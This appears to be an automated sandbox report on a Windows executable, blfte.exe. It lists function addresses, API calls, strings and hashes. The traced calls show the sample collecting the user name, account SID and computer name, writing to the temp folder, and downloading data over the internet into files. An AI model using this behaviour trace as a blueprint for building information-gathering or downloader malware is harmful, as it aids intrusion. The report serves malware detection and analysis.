Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction ID: 74662fc78e4ef406c2a1425de5f5493165822a79ab318d4f6a950aec489f7ddf
Opcode Fuzzy Hash: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction Fuzzy Hash: 18118731E65222ABCB3DDBE8DC44B7B77549F016A4B510121EE06A71D4DFB0EE41C5D4

Uniqueness

Uniqueness Score: -1.00%

Function 0224684C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,022469B1,00000000,?,0224D315,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 02246862
GetLastError.KERNEL32(?,0224D315,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,022469B1,00000000,00000104,?), ref: 0224686C
__dosmaperr.LIBCMT ref: 02246873

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction ID: fb8e02db50e91b263b966679264293a889b4c2a5626e8251d514a396b8cdd0e4
Opcode Fuzzy Hash: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction Fuzzy Hash: 16F06D32610116BB8B285BE2DC0896AFF6EFF462A03418521F918D7124DF32E821CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 022468B5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,022469B1,00000000,?,0224D2A0,00000000,00000000,022469B1,?,?,00000000,00000000,00000001), ref: 022468CB
GetLastError.KERNEL32(?,0224D2A0,00000000,00000000,022469B1,?,?,00000000,00000000,00000001,00000000,00000000,?,022469B1,00000000,00000104), ref: 022468D5
__dosmaperr.LIBCMT ref: 022468DC

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction ID: 4e110ba0dc90fba46f359a2c7d08fbc71398cf7b856df06c6973d6611d16804f
Opcode Fuzzy Hash: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction Fuzzy Hash: 6FF08132610216BB9B395FE2DC089AAFF6DFF462A03118121F919D7524DF71E821DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00420A45, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403AF0,?,0042CEB8,00000000,00403AF0,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0), ref: 00420A5C
GetLastError.KERNEL32(?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000,00403AF0,?,00417C40,00403AF0), ref: 00420A68

Part of subcall function 00420A2E: CloseHandle.KERNEL32(FFFFFFFE,00420A78,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000,00403AF0), ref: 00420A3E

___initconout.LIBCMT ref: 00420A78

Part of subcall function 004209F0: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00420A1F,0041DE7C,00403AF0,?,004176EC,00000000,?,00403AF0,00000000), ref: 00420A03

WriteConsoleW.KERNEL32(00403AF0,?,0042CEB8,00000000,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000), ref: 00420A8D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction ID: a013aed45aa20be437475b0026bfe262562a16a8948ae9efbea31755940ae5c1
Opcode Fuzzy Hash: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction Fuzzy Hash: A0F03736700129BBCF325FD5EC0598E7F65FF147A1F814025FA1885131D6318861EB9C

Uniqueness

Uniqueness Score: -1.00%

Function 02250C95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(02233D40,?,0042CEB8,00000000,02233D40,?,0224E0DF,02233D40,00000001,02233D40,02233D40,?,0224793C,00000000,?,02233D40), ref: 02250CAC
GetLastError.KERNEL32(?,0224E0DF,02233D40,00000001,02233D40,02233D40,?,0224793C,00000000,?,02233D40,00000000,02233D40,?,02247E90,02233D40), ref: 02250CB8

Part of subcall function 02250C7E: CloseHandle.KERNEL32(0042E930,02250CC8,?,0224E0DF,02233D40,00000001,02233D40,02233D40,?,0224793C,00000000,?,02233D40,00000000,02233D40), ref: 02250C8E

___initconout.LIBCMT ref: 02250CC8

Part of subcall function 02250C40: CreateFileW.KERNEL32(0042AFE4,40000000,00000003,00000000,00000003,00000000,00000000,02250C6F,0224E0CC,02233D40,?,0224793C,00000000,?,02233D40,00000000), ref: 02250C53

WriteConsoleW.KERNEL32(02233D40,?,0042CEB8,00000000,?,0224E0DF,02233D40,00000001,02233D40,02233D40,?,0224793C,00000000,?,02233D40,00000000), ref: 02250CDD

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction ID: a2afc5a9c9c21fb8cb96ed6dbf9a481617c489e35ae4b530e648a9a28518c098
Opcode Fuzzy Hash: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction Fuzzy Hash: 26F01C36610125BBCF225FD6DC04A897F66FF097A2B418024FE1985130D6328961AB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA39, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0041A5CE: GetOEMCP.KERNEL32(00000000,0041A840,?,?,2!A,00412132,?), ref: 0041A5F9

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,2!A,0041A887,?,00000000,?,?,?,?,?,?,00412132), ref: 0041AA97
GetCPInfo.KERNEL32(00000000,0041A887,?,2!A,0041A887,?,00000000,?,?,?,?,?,?,00412132,?), ref: 0041AAD9

Strings

2!A, xrefs: 0041AA3B

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CodeInfoPageValid
String ID: 2!A
API String ID: 546120528-1441434633
Opcode ID: 855e5094346b95d4b4db1da98e09477af5f802b7c2a014dd2a795b6dfe79976d
Instruction ID: 2fbf1acdb1644f5cebe7d70d344e6b9978f84c8fc5be97901e81be94f95da629
Opcode Fuzzy Hash: 855e5094346b95d4b4db1da98e09477af5f802b7c2a014dd2a795b6dfe79976d
Instruction Fuzzy Hash: BD511470A052849EDB21CF76C4406FBBBF6EF41304F14446FD1868B252E77CA59ACB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A825, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0041A5CE: GetOEMCP.KERNEL32(00000000,0041A840,?,?,2!A,00412132,?), ref: 0041A5F9

_free.LIBCMT ref: 0041A89D

Strings

2!A, xrefs: 0041A82D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: 2!A
API String ID: 269201875-1441434633
Opcode ID: efbf76feabf80e3a3d7853e9975b890330c0c60780936c8bd69213424403a5b1
Instruction ID: 8fc8c036d32de9612cf7c31c04d913b2c1a5afb910598d1080d20a8abe594b57
Opcode Fuzzy Hash: efbf76feabf80e3a3d7853e9975b890330c0c60780936c8bd69213424403a5b1
Instruction Fuzzy Hash: F531E371900249AFDB01EF69D840BEB7BF4EF80314F11406AF91497291D77A9DA2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 02245093, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 022450C1
_free.LIBCMT ref: 022450E7

Strings

PB, xrefs: 02245100

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free
String ID: PB
API String ID: 269201875-2006327516
Opcode ID: c9d7af41f7f505c1ed9ec23d22de7c486df1d63ad133a968193b006fcb6d8a25
Instruction ID: e49c441d730c3b0dd342d9e6c2346c5614d937049db4cc98d8b301e894091077
Opcode Fuzzy Hash: c9d7af41f7f505c1ed9ec23d22de7c486df1d63ad133a968193b006fcb6d8a25
Instruction Fuzzy Hash: 07112971B213116BD7345BA8AC00B5633A5A755720FD41636E554CB2E8EFB0D8978B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5CE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0041A840,?,?,2!A,00412132,?), ref: 0041A5F9
GetACP.KERNEL32(00000000,0041A840,?,?,2!A,00412132,?), ref: 0041A610

Strings

2!A, xrefs: 0041A5D0

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: 2!A
API String ID: 0-1441434633
Opcode ID: 26c0676f71b8d74d44ffd1cd88890f61d5a8aa5f38128eb00bcd6bd1647cb703
Instruction ID: 1e92f9a8aadae32bac15e37fb92d95dc9b840e940613ad1b39aa9e2a43853cf2
Opcode Fuzzy Hash: 26c0676f71b8d74d44ffd1cd88890f61d5a8aa5f38128eb00bcd6bd1647cb703
Instruction Fuzzy Hash: 97F0AF70901104CBD720CBA5D8087E937B0EB10339F984726E465CA2E1CB75989ACF4E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: blfte.exe PID: 6156 Parent PID: 5824 blfte.exeCOMMON

Executed Functions

Function 0040B030, Relevance: 13.6, APIs: 5, Strings: 2, Instructions: 1345libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00403C30: GetVersionExW.KERNEL32(0000011C,?,?,?), ref: 00403C86

Part of subcall function 00403EE0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00403F36

Part of subcall function 00401C20: GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C4A
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C5F
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401C62
Part of subcall function 00401C20: GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C70
Part of subcall function 00401C20: LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401C93
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C9E
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401CA1
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,?), ref: 00401CB1
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401CB4
Part of subcall function 00401C20: LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401CDE
Part of subcall function 00401C20: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401CF1

LoadLibraryA.KERNEL32(00000000), ref: 0040B09A
GetProcAddress.KERNEL32(00000000,000002A8), ref: 0040B0F4
FreeLibrary.KERNEL32(00000000), ref: 0040B0FF
GetUserNameW.ADVAPI32(?,?), ref: 0040B134
GetComputerNameExW.KERNEL32(00000002,?,00000100,00000000,?,?), ref: 0040B214

Part of subcall function 0040DCC0: Concurrency::cancel_current_task.LIBCPMT ref: 0040DD74

Strings

152138533219, xrefs: 0040B2F9
6b3c86, xrefs: 0040B47A

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$6b3c86
API String ID: 1144133639-628519087
Opcode ID: f6fa2da873b334d1df53d7d738cee877b7c9a80f95a268e281d7c8e1d77d4dd4
Instruction ID: 0b6ff0a0954d373cd1ca9f0cb650152324f6a3374e6b8b5f594f88d3717f35ee
Opcode Fuzzy Hash: f6fa2da873b334d1df53d7d738cee877b7c9a80f95a268e281d7c8e1d77d4dd4
Instruction Fuzzy Hash: 73B2E771A1011487EB18DB28CDC979DB736AB81308F1086BDE449B73D6DB399BC48F89

Uniqueness

Uniqueness Score: -1.00%

Function 00401C20, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C4A
GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C5F
HeapAlloc.KERNEL32(00000000), ref: 00401C62
GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C70
LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401C93
GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C9E
HeapAlloc.KERNEL32(00000000), ref: 00401CA1
GetProcessHeap.KERNEL32(00000008,?), ref: 00401CB1
HeapAlloc.KERNEL32(00000000), ref: 00401CB4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401CDE
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401CF1
GetProcessHeap.KERNEL32(00000000,?), ref: 00401D82
HeapFree.KERNEL32(00000000), ref: 00401D8B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401D90
HeapFree.KERNEL32(00000000), ref: 00401D93
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401D9A
HeapFree.KERNEL32(00000000), ref: 00401D9D
LocalFree.KERNEL32(00000000), ref: 00401DA2

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: c8c33b656c777f84d6250fafda0c4a4fd7f7303f2d2b3f14d711423208f5cab6
Instruction ID: 5d740cbccbc7aecd9424c2ab973b1f5715f8ce92cc64a7cb0e2c3ceeedde85f2
Opcode Fuzzy Hash: c8c33b656c777f84d6250fafda0c4a4fd7f7303f2d2b3f14d711423208f5cab6
Instruction Fuzzy Hash: 04516075E00209ABDB20DFA5CC84FAFBBBDEF44344F15456AE905A3250EB749E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405960, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 376networkfileCOMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00405AAF
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,75146490,00000000,-00000012), ref: 00405BC5
InternetOpenA.WININET(0042BC85,00000000,00000000,00000000,00000000), ref: 00405BDA
InternetOpenUrlA.WININET(00000000,0040708E,00000000,00000000,00000000,00000000), ref: 00405BFA
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 00405C11
WriteFile.KERNELBASE(00000000,?,00010000,?,00000000), ref: 00405C37
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 00405C48
CloseHandle.KERNEL32(00000000), ref: 00405C53
InternetCloseHandle.WININET(0040708E), ref: 00405C62
InternetCloseHandle.WININET(00000000), ref: 00405C65

Strings

jjjj, xrefs: 00405BCB
jjh, xrefs: 00405BB4
jjj, xrefs: 00405BE6

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWrite__fread_nolock
String ID: jjh$jjj$jjjj
API String ID: 350641714-3331015499
Opcode ID: 35079381c6d61b13ef6701ed39be739e3f5743aab511eef884aec526bbd26d00
Instruction ID: b5241e12ffa7a33fb50d7e3eaeade390ea5197ff3c90035685902e4f75904cb0
Opcode Fuzzy Hash: 35079381c6d61b13ef6701ed39be739e3f5743aab511eef884aec526bbd26d00
Instruction Fuzzy Hash: 00C1F171A00108ABEB14DF65CD86FEE7769EF44304F50452AF905A72D2D67DEA80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A680, Relevance: 14.4, APIs: 5, Strings: 2, Instructions: 2110libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00403C30: GetVersionExW.KERNEL32(0000011C,?,?,?), ref: 00403C86

Part of subcall function 00403EE0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00403F36

Part of subcall function 00401C20: GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C4A
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C5F
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401C62
Part of subcall function 00401C20: GetUserNameW.ADVAPI32(00000000,004049C3), ref: 00401C70
Part of subcall function 00401C20: LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401C93
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,004049C3), ref: 00401C9E
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401CA1
Part of subcall function 00401C20: GetProcessHeap.KERNEL32(00000008,?), ref: 00401CB1
Part of subcall function 00401C20: HeapAlloc.KERNEL32(00000000), ref: 00401CB4
Part of subcall function 00401C20: LookupAccountNameW.ADVAPI32(00000000,?,00000000,004049C3,00000000,?,?), ref: 00401CDE
Part of subcall function 00401C20: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401CF1

LoadLibraryA.KERNEL32(00000000), ref: 0040B09A
GetProcAddress.KERNEL32(00000000,000002A8), ref: 0040B0F4
FreeLibrary.KERNEL32(00000000), ref: 0040B0FF
GetUserNameW.ADVAPI32(?,?), ref: 0040B134
GetComputerNameExW.KERNEL32(00000002,?,00000100,00000000,?,?), ref: 0040B214

Part of subcall function 0040DCC0: Concurrency::cancel_current_task.LIBCPMT ref: 0040DD74

Strings

152138533219, xrefs: 0040B2F9
6b3c86, xrefs: 0040B47A

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$6b3c86
API String ID: 1144133639-628519087
Opcode ID: f1117ca6f6baaafcad5fc135a7f42e09ecce14b2560c0d5aab21e336d363c2df
Instruction ID: a50882f3c91e2f3519d9ee2b34ae7763fa0d2aec9cf4117b6005d93e6a3dbef0
Opcode Fuzzy Hash: f1117ca6f6baaafcad5fc135a7f42e09ecce14b2560c0d5aab21e336d363c2df
Instruction Fuzzy Hash: 27F22971A101048BEB18DB38CD8979DB772AF81304F5086BDE449B73D6DB3D9AD48B89

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAB7, Relevance: 13.8, APIs: 9, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0041C770: CreateFileW.KERNELBASE(00000000,00000000,?,0041CB60,?,?,00000000,?,0041CB60,00000000,0000000C), ref: 0041C78D

GetLastError.KERNEL32 ref: 0041CBCB
__dosmaperr.LIBCMT ref: 0041CBD2
GetFileType.KERNELBASE(00000000), ref: 0041CBDE
GetLastError.KERNEL32 ref: 0041CBE8
__dosmaperr.LIBCMT ref: 0041CBF1
CloseHandle.KERNEL32(00000000), ref: 0041CC11
CloseHandle.KERNEL32(?), ref: 0041CD5E
GetLastError.KERNEL32 ref: 0041CD90
__dosmaperr.LIBCMT ref: 0041CD97

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 086fc97678eea2fad24bc7c201904c66549437a90376fd9f68936f3440ed3576
Instruction ID: 9a888166caf7c729a04a6387afd24b78d2efbf651294ef369ed2e80490bd9623
Opcode Fuzzy Hash: 086fc97678eea2fad24bc7c201904c66549437a90376fd9f68936f3440ed3576
Instruction Fuzzy Hash: 13A14832A441448FCF29DF68DC91BEE3BB1AB06324F14016EE815EB391D7389C96CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0210003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0210024D

Strings

cess, xrefs: 0210018D
kernel32.dll, xrefs: 0210008F, 02100095

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 4f807017887e5f8913c2aeea080479d60b6d60ee751dd1f570b2424608bbb013
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 2B526974A41229DFDB64CF58C984BACBBB1BF09304F1580E9E54DAB391DB70AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0041D631, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D6B3
_free.LIBCMT ref: 0041D6D7
_free.LIBCMT ref: 0041D864
GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,0042A578), ref: 0041D876
_free.LIBCMT ref: 0041DA30

Strings

Pacific Daylight Time, xrefs: 0041D914
Pacific Standard Time, xrefs: 0041D8E5

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 597776487-1154798116
Opcode ID: 7b94b24873c4896f8d575fb176e7bbd29f6f7452a1ec856b836a30c5cd7989d0
Instruction ID: 288546b534604ff02d250860d8c74b002ea5c89fcf63bb1af3282de747a45e08
Opcode Fuzzy Hash: 7b94b24873c4896f8d575fb176e7bbd29f6f7452a1ec856b836a30c5cd7989d0
Instruction Fuzzy Hash: B0C127F1E00204ABCB24AF79C841BEA7BB9AF45314F5440BBE4A597381E7388DC6C758

Uniqueness

Uniqueness Score: -1.00%

Function 004041F0, Relevance: 11.1, APIs: 7, Instructions: 563COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000000,?), ref: 0040421E

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 897bd9c201636f9809fab793e51876f10af17cd813da6808880767e042ed89f5
Instruction ID: 4cdd825c375485f2e1a2f9f5a6d0633131526c326083d4a5a7490bc1e288c697
Opcode Fuzzy Hash: 897bd9c201636f9809fab793e51876f10af17cd813da6808880767e042ed89f5
Instruction Fuzzy Hash: CD12E170E00209ABDF14EFA8DC85BEEB7B5EF84308F10416EE505B7281D7796A45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405322, Relevance: 9.7, APIs: 6, Instructions: 678COMMON

Download Yara Rule

APIs

Part of subcall function 004041F0: GetTempPathW.KERNEL32(00000104,?,00000000,?), ref: 0040421E

GetFileAttributesA.KERNELBASE(00000000), ref: 0040535F
GetFileAttributesA.KERNELBASE(00000000), ref: 004055AD
GetFileAttributesA.KERNELBASE(00000000), ref: 004056D4
GetFileAttributesA.KERNELBASE(00000000), ref: 004057FB

Part of subcall function 00403C30: GetVersionExW.KERNEL32(0000011C,?,?,?), ref: 00403C86

GetFileAttributesA.KERNELBASE(00000000), ref: 00405486

Part of subcall function 0040DCC0: Concurrency::cancel_current_task.LIBCPMT ref: 0040DD74

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile$Concurrency::cancel_current_taskPathTempVersion
String ID:
API String ID: 265149320-0
Opcode ID: 6131d3cdeb4f4f17a190e3ffcd1767af2ca99dd0430078534b1b187151a535ea
Instruction ID: d7e9fdce9f2f4267082e00e7a35303825114a1207d7088fc6bbae6c60a8a83a5
Opcode Fuzzy Hash: 6131d3cdeb4f4f17a190e3ffcd1767af2ca99dd0430078534b1b187151a535ea
Instruction Fuzzy Hash: 37222671A101049BEB08DB78DD8ABAE7A22DF81314F50463EF405B73D6D77D9A808F99

Uniqueness

Uniqueness Score: -1.00%

Function 00407BCC, Relevance: 9.5, APIs: 1, Strings: 4, Instructions: 751COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00408589

Part of subcall function 004041F0: GetTempPathW.KERNEL32(00000104,?,00000000,?), ref: 0040421E

Strings

invalid stoi argument, xrefs: 00408584
stoi argument out of range, xrefs: 0040858E
152138533219, xrefs: 00408273
", xrefs: 00408206

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: PathTempXinvalid_argumentstd::_
String ID: "$152138533219$invalid stoi argument$stoi argument out of range
API String ID: 3948722134-3600082259
Opcode ID: 7261d5ba69ac785ae8c89e217d6d8aa2a195d0eda96788b304a467e88d8d0054
Instruction ID: 4d7578ea1bfddb69caa85ecc011d646bcc4366cd91bd29e54d5c208aa66e75cf
Opcode Fuzzy Hash: 7261d5ba69ac785ae8c89e217d6d8aa2a195d0eda96788b304a467e88d8d0054
Instruction Fuzzy Hash: FC420671A1010897EB18DF78DE8579D7B62AF81304F10862EF449B73D6DB3D9AC48B89

Uniqueness

Uniqueness Score: -1.00%

Function 00405E54, Relevance: 9.2, APIs: 6, Instructions: 227networkfileCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(00000000,00000000,?), ref: 00405EDC
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 00405F6D
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 00405FF4
InternetCloseHandle.WININET(00000000), ref: 00406005
InternetCloseHandle.WININET(?), ref: 0040600A
InternetCloseHandle.WININET(?), ref: 0040600F

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$FileRead$HttpRequestSend
String ID:
API String ID: 253740277-0
Opcode ID: c65b497665a59c7123a7594c9e8484e84d59b482480369ef5311bd248f443870
Instruction ID: 8c2cb1e407bcceb84ed4806e5830505ca5ee8cb0c7e9729b093c9886a4af833b
Opcode Fuzzy Hash: c65b497665a59c7123a7594c9e8484e84d59b482480369ef5311bd248f443870
Instruction Fuzzy Hash: FA71D5716100089FEB18DF28CD85BAE7B66EF81304F54427EF805A72D6D73DDA908B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D80C, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,0042A578), ref: 0041D876
_free.LIBCMT ref: 0041D864

